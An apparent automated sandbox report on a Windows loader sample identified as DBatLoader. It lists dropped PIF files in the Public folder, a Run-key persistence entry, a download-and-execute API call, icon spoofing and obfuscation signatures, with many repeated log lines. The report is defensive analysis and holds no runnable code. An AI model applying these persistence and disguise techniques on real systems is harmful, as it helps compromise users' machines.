Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Section loaded: amsi.dll	Jump to behavior

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\InProcServer32

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\colorcpl.exe

Window found: window name: SysTabControl32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\colorcpl.exe

Window detected: Number of UI elements: 12

Source: jlPBMMQbXC.exe

Static file information: File size 1243648 > 1048576

Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: jlPBMMQbXC.exe, jlPBMMQbXC.exe, 00000000.00000002.1577348813.00000000023E6000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1586422166.000000000D9F7000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1586422166.000000000D9E0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1578952321.0000000002C7E000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1586422166.000000000D9B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1386950607.000000007FC90000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: cmd.pdbUGP source: esentutl.exe, 00000006.00000003.1564129488.0000000005420000.00000004.00001000.00020000.00000000.sdmp, alpha.pif.6.dr
Source:	Binary string: easinvoker.pdbH source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdbGCTL source: jlPBMMQbXC.exe, 00000000.00000002.1577348813.00000000023E6000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1555406818.000000000E41E000.00000004.00000020.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1586422166.000000000D9F7000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1586422166.000000000D9E0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1578952321.0000000002C7E000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1586422166.000000000D9B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1386950607.000000007FC90000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1555406818.000000000E44F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cmd.pdb source: esentutl.exe, 00000006.00000003.1564129488.0000000005420000.00000004.00001000.00020000.00000000.sdmp, alpha.pif.6.dr

Data Obfuscation

Yara detected DBatLoader

Source: Yara match	File source: 0.2.jlPBMMQbXC.exe.2c50000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.jlPBMMQbXC.exe.23e65a8.0.unpack, type: UNPACKEDPE

Source: alpha.pif.6.dr

Static PE information: 0xF8D87E17 [Thu Apr 20 00:53:43 2102 UTC]

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe

Code function: 0_2_02C6894C LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_02C6894C

Source: alpha.pif.6.dr

Static PE information: section name: .didat

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C7D2FC push 02C7D367h; ret	0_2_02C7D35F
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C563AE push 02C5640Bh; ret	0_2_02C56403
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C563B0 push 02C5640Bh; ret	0_2_02C56403
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C5C349 push 8B02C5C1h; ret	0_2_02C5C34E
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C7C378 push 02C7C56Eh; ret	0_2_02C7C566
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C5332C push eax; ret	0_2_02C53368
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C7D0AC push 02C7D125h; ret	0_2_02C7D11D
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C6306C push 02C630B9h; ret	0_2_02C630B1
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C6306B push 02C630B9h; ret	0_2_02C630B1
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C7D1F8 push 02C7D288h; ret	0_2_02C7D280
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C7D144 push 02C7D1ECh; ret	0_2_02C7D1E4
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C6F108 push ecx; mov dword ptr [esp], edx	0_2_02C6F10D
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C56784 push 02C567C6h; ret	0_2_02C567BE
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C56782 push 02C567C6h; ret	0_2_02C567BE
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C5D5A0 push 02C5D5CCh; ret	0_2_02C5D5C4
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C5C56C push ecx; mov dword ptr [esp], edx	0_2_02C5C571
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C7C570 push 02C7C56Eh; ret	0_2_02C7C566
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C6AADF push 02C6AB18h; ret	0_2_02C6AB10
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C68AD8 push 02C68B10h; ret	0_2_02C68B08
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C6AAE0 push 02C6AB18h; ret	0_2_02C6AB10
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02CC4A50 push eax; ret	0_2_02CC4B20
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C5CBEC push 02C5CD72h; ret	0_2_02C5CD6A
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C6886C push 02C688AEh; ret	0_2_02C688A6
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C5C9DE push 02C5CD72h; ret	0_2_02C5CD6A
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C66946 push 02C669F3h; ret	0_2_02C669EB
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C66948 push 02C669F3h; ret	0_2_02C669EB
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C6790C push 02C67989h; ret	0_2_02C67981
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C65E7C push ecx; mov dword ptr [esp], edx	0_2_02C65E7E
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C62F60 push 02C62FD6h; ret	0_2_02C62FCE
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_0447E47A push esi; ret	8_2_0447E483
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_0442169A push eax; ret	8_2_044216F4

Persistence and Installation Behavior

Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\alpha.pif			Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\Libraries\Selebzih.PIF			Jump to dropped file

Source: C:\Windows\SysWOW64\SndVol.exe

Code function: 8_2_29136EEB ShellExecuteW,URLDownloadToFileW,

8_2_29136EEB

Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\alpha.pif			Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\Libraries\Selebzih.PIF			Jump to dropped file

Source: C:\Windows\SysWOW64\esentutl.exe

File created: C:\Users\Public\alpha.pif

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Windows\SysWOW64\esentutl.exe

File created: C:\Users\Public\alpha.pif

Jump to dropped file

Source: C:\Windows\SysWOW64\SndVol.exe

8_2_2914AB9E

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Selebzih			Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Selebzih			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Source: initial sample

Icon embedded in binary file: icon matches a legit application icon: icon306.png

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe

Code function: 0_2_02C6AB1C GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_02C6AB1C

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\SndVol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
